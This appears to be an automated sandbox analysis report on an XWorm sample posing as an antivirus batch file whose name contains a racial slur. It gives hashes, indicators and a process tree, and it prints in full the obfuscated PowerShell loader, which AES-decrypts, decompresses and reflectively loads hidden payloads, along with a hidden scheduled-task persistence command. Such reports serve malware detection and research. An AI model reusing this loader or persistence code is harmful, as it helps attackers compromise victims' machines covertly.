Analysis
- max time kernel
148s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system - submitted
01/06/2024, 08:50
Static task
static1
Behavioral task
behavioral1
Sample
Nigger Antivirus.bat
Resource
win10-20240404-en
10 signatures
150 seconds
Behavioral task
behavioral2
Sample
Nigger Antivirus.bat
Resource
win10v2004-20240508-en
11 signatures
150 seconds
General
- Target Nigger Antivirus.bat
- Size 323KB
- Sample240601-krn5wagf97
- SHA256 c8bbab31f65dcdb8c9345dc14153d64f81b3ec9279b399b3cb5fba3f90a13c72
- MD5 3c82ee4342e97144776d64bdf3a7a9e5
- SHA1 982af698261db3b2c1f727ccf47b7e1596320e0b
- SHA512 9cc377fc08b45022cd1567107c85125be986414690ba29d8467b13a77333ee1891a24647aed0914783c8a0ebfe626246d3ec96d4a0fa737f42f5b91a648f7b89
- SSDEEP 6144:w5eN059nc4XugivtBHzLi4sFiUJX5g1LK8mrUHJBjdzUcAkO6:FNEc4XuJvbHz9sRVi1LvmrUHJBB7A8
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Extracted
Family
-
xworm
C2
-
127.0.0.1:4567
Attributes
-
Install_directory
%AppData%
-
install_file
USB.exe
Signatures
- Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/5108-49-0x00000199447D0000-0x00000199447FE000-memory.dmp family_xworm - Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 3336 powershell.exe 600 powershell.exe 5108 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation WScript.exe - Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Win64.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Win64.lnk powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Win64 = "C:\\Users\\Admin\\AppData\\Roaming\\Win64" powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings powershell.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3336 powershell.exe 3336 powershell.exe 600 powershell.exe 600 powershell.exe 5108 powershell.exe 5108 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3336 powershell.exe Token: SeDebugPrivilege 600 powershell.exe Token: SeIncreaseQuotaPrivilege 600 powershell.exe Token: SeSecurityPrivilege 600 powershell.exe Token: SeTakeOwnershipPrivilege 600 powershell.exe Token: SeLoadDriverPrivilege 600 powershell.exe Token: SeSystemProfilePrivilege 600 powershell.exe Token: SeSystemtimePrivilege 600 powershell.exe Token: SeProfSingleProcessPrivilege 600 powershell.exe Token: SeIncBasePriorityPrivilege 600 powershell.exe Token: SeCreatePagefilePrivilege 600 powershell.exe Token: SeBackupPrivilege 600 powershell.exe Token: SeRestorePrivilege 600 powershell.exe Token: SeShutdownPrivilege 600 powershell.exe Token: SeDebugPrivilege 600 powershell.exe Token: SeSystemEnvironmentPrivilege 600 powershell.exe Token: SeRemoteShutdownPrivilege 600 powershell.exe Token: SeUndockPrivilege 600 powershell.exe Token: SeManageVolumePrivilege 600 powershell.exe Token: 33 600 powershell.exe Token: 34 600 powershell.exe Token: 35 600 powershell.exe Token: 36 600 powershell.exe Token: SeIncreaseQuotaPrivilege 600 powershell.exe Token: SeSecurityPrivilege 600 powershell.exe Token: SeTakeOwnershipPrivilege 600 powershell.exe Token: SeLoadDriverPrivilege 600 powershell.exe Token: SeSystemProfilePrivilege 600 powershell.exe Token: SeSystemtimePrivilege 600 powershell.exe Token: SeProfSingleProcessPrivilege 600 powershell.exe Token: SeIncBasePriorityPrivilege 600 powershell.exe Token: SeCreatePagefilePrivilege 600 powershell.exe Token: SeBackupPrivilege 600 powershell.exe Token: SeRestorePrivilege 600 powershell.exe Token: SeShutdownPrivilege 600 powershell.exe Token: SeDebugPrivilege 600 powershell.exe Token: SeSystemEnvironmentPrivilege 600 powershell.exe Token: SeRemoteShutdownPrivilege 600 powershell.exe Token: SeUndockPrivilege 600 powershell.exe Token: SeManageVolumePrivilege 600 powershell.exe Token: 33 600 powershell.exe Token: 34 600 powershell.exe Token: 35 600 powershell.exe Token: 36 600 powershell.exe Token: SeIncreaseQuotaPrivilege 600 powershell.exe Token: SeSecurityPrivilege 600 powershell.exe Token: SeTakeOwnershipPrivilege 600 powershell.exe Token: SeLoadDriverPrivilege 600 powershell.exe Token: SeSystemProfilePrivilege 600 powershell.exe Token: SeSystemtimePrivilege 600 powershell.exe Token: SeProfSingleProcessPrivilege 600 powershell.exe Token: SeIncBasePriorityPrivilege 600 powershell.exe Token: SeCreatePagefilePrivilege 600 powershell.exe Token: SeBackupPrivilege 600 powershell.exe Token: SeRestorePrivilege 600 powershell.exe Token: SeShutdownPrivilege 600 powershell.exe Token: SeDebugPrivilege 600 powershell.exe Token: SeSystemEnvironmentPrivilege 600 powershell.exe Token: SeRemoteShutdownPrivilege 600 powershell.exe Token: SeUndockPrivilege 600 powershell.exe Token: SeManageVolumePrivilege 600 powershell.exe Token: 33 600 powershell.exe Token: 34 600 powershell.exe Token: 35 600 powershell.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 4952 wrote to memory of 3336 4952 cmd.exe 85 PID 4952 wrote to memory of 3336 4952 cmd.exe 85 PID 3336 wrote to memory of 600 3336 powershell.exe 89 PID 3336 wrote to memory of 600 3336 powershell.exe 89 PID 3336 wrote to memory of 3208 3336 powershell.exe 93 PID 3336 wrote to memory of 3208 3336 powershell.exe 93 PID 3208 wrote to memory of 4888 3208 WScript.exe 94 PID 3208 wrote to memory of 4888 3208 WScript.exe 94 PID 4888 wrote to memory of 5108 4888 cmd.exe 96 PID 4888 wrote to memory of 5108 4888 cmd.exe 96
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Nigger Antivirus.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4952 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zfvTp9Td6Uz3dUxncpJKlosvXgD9H0/fkm+3ZY5NZUo='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nJMaSPgd1hkwVvB/iXkFKQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $SwHVz=New-Object System.IO.MemoryStream(,$param_var); $iWeDS=New-Object System.IO.MemoryStream; $iwTcr=New-Object System.IO.Compression.GZipStream($SwHVz, [IO.Compression.CompressionMode]::Decompress); $iwTcr.CopyTo($iWeDS); $iwTcr.Dispose(); $SwHVz.Dispose(); $iWeDS.Dispose(); $iWeDS.ToArray();}function execute_function($param_var,$param2_var){ $JTcVB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $BLqXs=$JTcVB.EntryPoint; $BLqXs.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Nigger Antivirus.bat';$geghE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Nigger Antivirus.bat').Split([Environment]::NewLine);foreach ($cRSiC in $geghE) { if ($cRSiC.StartsWith(':: ')) { $ngowX=$cRSiC.Substring(3); break; }}$payloads_var=[string[]]$ngowX.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3336 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_855_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_855.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:600
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_855.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3208 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_855.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:4888 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zfvTp9Td6Uz3dUxncpJKlosvXgD9H0/fkm+3ZY5NZUo='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nJMaSPgd1hkwVvB/iXkFKQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $SwHVz=New-Object System.IO.MemoryStream(,$param_var); $iWeDS=New-Object System.IO.MemoryStream; $iwTcr=New-Object System.IO.Compression.GZipStream($SwHVz, [IO.Compression.CompressionMode]::Decompress); $iwTcr.CopyTo($iWeDS); $iwTcr.Dispose(); $SwHVz.Dispose(); $iWeDS.Dispose(); $iWeDS.ToArray();}function execute_function($param_var,$param2_var){ $JTcVB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $BLqXs=$JTcVB.EntryPoint; $BLqXs.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_855.bat';$geghE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_855.bat').Split([Environment]::NewLine);foreach ($cRSiC in $geghE) { if ($cRSiC.StartsWith(':: ')) { $ngowX=$cRSiC.Substring(3); break; }}$payloads_var=[string[]]$ngowX.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
PID:5108
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
- MD5 661739d384d9dfd807a089721202900b
- SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
- SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 64c178f2a2edc319c244fa885951e0425ad172e0c9c18d9773069fa13a44385c
- MD5 773440cd6eb4e778c7d2115d1f231f75
- SHA1 4b600aa41fcd267817961c95b104a0717c40e558
- SHA512 af0370eb22d7153b7b71a033f56bc08796a0be9a1aa0f479585e03e099a215114f6ac059cf588999f3be36d91bc38ec64b0695071292db8e324ee7bcd505ee35
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yiwx1tt4.w3x.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\startup_str_855.bat
- Size 323KB
- SHA256 c8bbab31f65dcdb8c9345dc14153d64f81b3ec9279b399b3cb5fba3f90a13c72
- MD5 3c82ee4342e97144776d64bdf3a7a9e5
- SHA1 982af698261db3b2c1f727ccf47b7e1596320e0b
- SHA512 9cc377fc08b45022cd1567107c85125be986414690ba29d8467b13a77333ee1891a24647aed0914783c8a0ebfe626246d3ec96d4a0fa737f42f5b91a648f7b89
- SSDEEP 6144:w5eN059nc4XugivtBHzLi4sFiUJX5g1LK8mrUHJBjdzUcAkO6:FNEc4XuJvbHz9sRVi1LvmrUHJBB7A8
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\startup_str_855.vbs
- Size 115B
- SHA256 3d00f566797545371876fca04ae28621a0da472c95867297e8e07243f2cd3f94
- MD5 1221fcafe0ceaaa4fe9f220da88d1245
- SHA1 2e450521d90cd050027f5f8db7934e15feb28054
- SHA512 dd0489c8682cb7b631b92549629c0614d7b331f5ce40a0c2e3a813b596621b360f5b054b7ca9e4409d998271f3ede05d56e8c1093e185b0497c44b30cc47bb46
- MD5 SHA1 SHA512